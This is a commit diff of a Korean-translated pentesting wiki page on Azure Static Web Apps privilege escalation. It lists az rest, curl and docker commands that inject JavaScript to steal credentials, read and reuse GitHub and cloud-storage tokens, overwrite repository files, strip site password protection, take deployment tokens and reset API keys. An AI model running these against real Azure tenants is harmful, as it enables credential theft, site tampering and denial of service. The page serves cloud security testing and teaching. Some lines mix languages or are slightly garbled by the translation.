Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 12:01:07 +00:00
parent a2488c3a2d
commit 5a13fa6488

View File

@@ -4,7 +4,7 @@
## Azure Static Web Apps
이 서비스에 대한 자세한 정보는 다음을 확인하세요:
For more information about this service check:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@
### Microsoft.Web/staticSites/snippets/write
snippet을 생성하면 정적 웹 페이지가 임의의 HTML 코드를 로드하도록 만들 수 있습니다. 이는 공격자가 web app 내부에 JS 코드를 주입하여 자격증명 또는 mnemonic keys (in web3 wallets)와 같은 민감한 정보를 탈취할 수 있게 합니다.
snippet을 생성하면 정적 웹 페이지가 임의의 HTML 코드를 로드하도록 만들 수 있습니다. 이는 attacker가 web app 내부에 JS 코드를 주입해 credentials 또는 mnemonic keys (web3 wallets)에 있는 민감한 정보를 탈취할 수 있게 합니다.
다음 명령어는 web app에 의해 항상 로드되는 snippet을 생성합니다::
다음 명령 web app에 의해 항상 로드되는 snippet을 생성합니다::
```bash
az rest \
--method PUT \
@@ -33,20 +33,20 @@ az rest \
```
### 구성된 타사 자격 증명 읽기
As explained in the App Service section:
앞서 App Service 섹션에서 설명한 바와 같이:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
다음 명령어를 실행하면 현재 계정에 구성된 **타사 자격 증명**을 읽을 수 있습니다. 예를 들어 일부 Github 자격 증명이 다른 사용자에 대해 구성되어 있다면, 다른 사용자로부터 해당 토큰에 접근할 수 없습니다.
다음 명령 실행하면 현재 계정에 구성된 **타사 자격 증명**을 읽을 수 있습니다. 예를 들어 일부 Github 자격 증명이 다른 사용자에 구성되어 있는 경우, 다른 사용자에서는 해당 token에 접근할 수 없습니다.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 tokens를 반환합니다.
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive tokens를 반환합니다.
여기 tokens를 확인하기 위한 몇 가지 명령 예시가 있습니다:
다음은 tokens를 확인하기 위한 몇 가지 명령 예시니다:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### 파일 덮어쓰기 - 경로, HTML, JS...
### 파일 덮어쓰기 - Overwrite routes, HTML, JS...
Azure가 **Github token**을 사용해 다음과 같은 요청을 전송하면, 앱을 포함한 **Github repo 내부의 파일을 덮어쓸 수 있습니다**. 해당 요청은 덮어쓸 파일의 경로, 파일 내용 커밋 메시지를 지정합니다.
Azure가 **Github token**을 해 다음과 같은 요청을 보내면 앱을 포함한 **Github repo** 내부의 파일을 **덮어쓸** 수 있습니다. 이 요청은 덮어쓸 파일의 경로, 파일 내용, 그리고 커밋 메시지를 지정합니다.
이것은 공격자가 기본적으로 **웹 앱의 내용을 변경**하여 악성 콘텐츠(자격증명 탈취, 니모닉 키 등)를 제공하게 하거나, `staticwebapp.config.json` 파일을 덮어써 특정 경로를 자신의 서버로 **재라우팅**하는 데 악용될 수 있습니다.
공격자는 이를 악용해 웹 앱의 내용을 변경하여 악성 콘텐츠를 제공(steal credentials, mnemonic keys...)하거나 `staticwebapp.config.json` 파일을 덮어써 특정 경로를 자신의 서버로 리라우팅할 수 있습니다.
> [!WARNING]
> 공격자가 어떤 식으로든 Github repo를 손상시키는 데 성공하면, 해당 파일을 Github에서 직접 덮어쓸 수도 있다는 점을 유의하세요.
> 공격자가 어떤 식으로든 Github repo를 침해하면, Github에서 파일을 직접 덮어쓸 수도 있다는 점을 유의하세요.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
이 권한으로, 다음과 같은 요청을 전송하여 static web app을 보호하는 **비밀번호를 수정**하거나 모든 환경의 보호를 해제할 수 있습니다:
이 권한을 사용하면 다음과 같은 요청을 전송하여 static web app을 보호하는 **비밀번호를 변경**하거나 모든 환경의 보호를 해제할 수 있습니다:
```bash
# Change password
az rest --method put \
@@ -133,9 +133,9 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
이 권한을 통해 static app의 **API key deployment token**을 얻을 수 있니다.
이 권한은 정적 앱의 **API key deployment token**을 가져올 수 있게 합니다.
az rest 사용:
az rest 사용:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
@@ -144,25 +144,25 @@ AzCLI 사용:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
그런 다음, **토큰을 사용하여 앱을 업데이트하려면** 다음 명령을 실행할 수 있습니다. 이 명령은 기본적으로 사용하도록 Azure가 설정한 Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)가 어떻게 동작하는지 확인하여 추출한 것입니다. 따라서 이미지와 파라미터는 향후 변경될 수 있습니다.
그런 다음, **토큰을 사용 앱을 업데이트하려면** 다음 명령을 실행하면 됩니다. 이 명령은 Azure가 기본적으로 사용하도록 설정한 **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)의 작동 방식**을 확인하여 추출한 것입니다. 따라서 이미지와 매개변수는 향후 변경될 수 있습니다.
> [!TIP]
> 앱을 배포하려면 [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token)의 **`swa`** 도구를 사용하거나 다음의 원시 단계를 따르세요:
> 앱을 배포하려면 **`swa`** 도구([https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token))를 사용하거나 다음의 원시 단계를 따를 수 있습니다:
1. 레포지토리 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 레포지토리)을 다운로드하고 `cd react-basic`를 실행하세요.
2. 배포하려는 코드를 변경하세요.
3. 다음을 실행하여 배포하세요 ( `<api-token>` 를 변경하는 것을 잊지 마세요):
1. 레포 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 레포)를 다운로드하고 `cd react-basic`를 실행합니다.
2. 배포하려는 코드를 수정합니다
3. 다음을 실행 배포합니다 ( `<api-token>`를 변경하는 것을 잊지 마세요):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> 토큰을 가지고 있더라도 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방식을 APi token을 사용하도록 변경하기 위해 `Microsoft.Web/staticSites/write` 권한이 필요합니다.
> 토큰을 가지고 있더라도 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방식을 APi 토큰을 사용하도록 변경하기 위해 `Microsoft.Web/staticSites/write` 권한이 필요합니다.
### Microsoft.Web/staticSites/write
이 권한으로 **static web app의 소스를 다른 Github 리포지토리로 변경**할 수 있지만, 이는 Github Action에서 수행되어야 하므로 자동으로 프로비저닝되지는 않습니다.
이 권한으로 **static web app의 소스를 다른 Github 리포지토리로 변경**할 수 있지만, 이는 자동으로 프로비저닝되지는 않으며 Github Action에서 수행되어야 니다.
하지만 **Deployment Authotization Policy**가 **Github**로 설정되어 있다면, **새 소스 리포지토리에서 앱을 업데이트하는 것이 가능합니다!**.
하지만 **Deployment Authotization Policy**가 **Github**로 설정되어 있다면, 새 소스 리포지토리에서 앱을 **업데이트하는 것이 가능합니다!**.
만약 **Deployment Authorization Policy**가 Github로 설정되어 있지 않다면, 동일한 권한 `Microsoft.Web/staticSites/write`로 이를 변경할 수 있습니다.
```bash
@@ -187,7 +187,7 @@ az rest --method PATCH \
}
}'
```
앱을 배포하기 위한 예 Github Action:
앱을 배포하기 위한 예 Github Action:
```yaml
name: Azure Static Web Apps CI/CD
@@ -250,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
이 권한으로 **reset the API key of the static web app** 할 수 있으며, 자동으로 앱을 배포하는 워크플로우를 잠재적으로 DoSing할 수 있습니다.
이 권한으로 **static web app의 API key를 재설정**할 수 있으며, 앱을 자동으로 배포하는 workflows를 DoSing하여 잠재적으로 중단시킬 수 있습니다.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
이 권한은 특정 역할 static web app 내부의 보호된 경로에 접근할 수 있도록 사용자에게 **초대 생성할 수 있도록 허용합니다**.
이 권한은 특정 역할을 지정하여 static web app 내부의 보호된 경로에 접근할 수 있도록 사용자 **사용자 초대 생성** 할 수 있게 합니다.
로그인은 `/.auth/login/github` (github) 또는 `/.auth/login/aad` (Entra ID) 같은 경로에 위치하며, 다음 명령으로 사용자를 초대할 수 있습니다:
로그인은 github의 경우 `/.auth/login/github`, Entra ID의 경우 `/.auth/login/aad` 같은 경로에 위치하며, 사용자는 다음 명령으로 초대할 수 있습니다:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -270,13 +270,14 @@ az staticwebapp users invite \
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
### Pull Requests
### 풀 리퀘스트
기본적으로 같은 repo의 브랜치에서 생성된 Pull Requests는 자동으로 컴파일되어 스테이징 환경에 빌드됩니다. 이는 repo에 대한 write access는 있지만 프로덕션 브랜치(보통 `main`)의 branch protections을 우회할 수 없는 공격자가 스테이징 URL에 **deploy a malicious version of the app** 하는 데 악용될 수 있습니다.
기본적으로 동일 리포지토리의 브랜치에서 생성된 Pull Requests는 스테이징 환경에서 자동으로 컴파일되고 빌드됩니다. 이는 리포지토리에 대한 쓰기 권한은 있지만 프로덕션 브랜치(보통 `main`)의 브랜치 보호를 우회할 수 없는 공격자가 스테이징 URL에 **악성 앱 버전을 배포**하는 데 악용될 수 있습니다.
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
스테이징 URL은 다음 형식입니다: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` : `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> 기본적으로 external PRs는 최소 1개의 PR을 repository에 merge하지 않는 한 workflows를 실행하지 않습니다. 공격자는 먼저 유효한 PR을 repo에 보낸 뒤 **then send a malicious PR** 을 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. HOWEVER,않은 보호 장치가 있는데, static web app에 배포하는 기본 Github Action은 배포 토큰이 들어있는 secret(예: `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)에 대한 접근이 필요합니다. 이는 배포가 IDToken으로 이루어지더라도 적용됩니다. 따라서 external PRsecret에 접근할 수 없고, external PR만으로는 Workflow를 변경해 임의 토큰을 넣을 수 없기 때문에, **this attack won't really work**.
> 기본적으로 외부 PR은 저장소에 적어도 1개의 PR을 병합한 적이 없는 한 workflows를 실행하지 않는다는 점에 유의하세요. 공격자는 먼저 저장소에 합법적인 PR을 보낸 뒤 **악성 PR**을 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. 하지만못한 보호 장치가 있습니다. static web app에 배포하는 기본 Github Action은 IDToken으로 배포하더라도 배포 토큰을 포함한 시크릿(예: `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)에 대한 접근이 필요합니다. 이는 외부 PR시크릿에 접근할 수 없고, 외부 PR이 승인되지 않는 한 Workflow를 변경해 임의 토큰을 넣을 수 없기 때문에, **이 공격은 실제로는 작동하지 않습니다**.
{{#include ../../../banners/hacktricks-training.md}}